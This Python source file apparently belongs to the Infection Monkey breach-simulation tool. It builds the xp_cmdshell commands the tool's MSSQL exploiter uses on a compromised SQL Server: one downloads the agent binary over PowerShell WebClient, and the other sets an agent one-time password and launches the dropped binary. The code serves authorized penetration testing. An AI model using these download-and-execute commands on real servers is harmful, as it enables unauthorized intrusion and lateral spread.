from pathlib import PurePath, PureWindowsPath
from typing import Sequence

from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.types import AgentID
from infection_monkey.exploit import IAgentOTPProvider
from infection_monkey.model import DROPPER_ARG, SET_OTP_WINDOWS
from infection_monkey.utils.commands import (
    build_download_command_windows_powershell_webclient,
    build_monkey_commandline,
)


def build_mssql_agent_download_command(
    agent_download_url: str, remote_agent_binary_destination_path: PureWindowsPath
) -> str:
    command = "powershell {}".format(
        build_download_command_windows_powershell_webclient(
            url=agent_download_url, dst=remote_agent_binary_destination_path
        )
    )
    return _get_mssql_command(command)


def build_mssql_agent_launch_command(
    agent_id: AgentID,
    servers: Sequence[str],
    current_depth: int,
    remote_agent_binary_destination_path: PurePath,
    otp_provider: IAgentOTPProvider,
) -> str:
    set_agent_otp_command = SET_OTP_WINDOWS % {
        "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
        "agent_otp": otp_provider.get_otp(),
    }

    agent_commandline_arguments = build_monkey_commandline(
        agent_id, servers, current_depth + 1, remote_agent_binary_destination_path
    )

    command = (
        f"{set_agent_otp_command} {remote_agent_binary_destination_path} "
        f" {DROPPER_ARG} {agent_commandline_arguments}"
    )

    return _get_mssql_command(command)


def _get_mssql_command(command: str) -> str:
    return f"xp_cmdshell '{command}'"
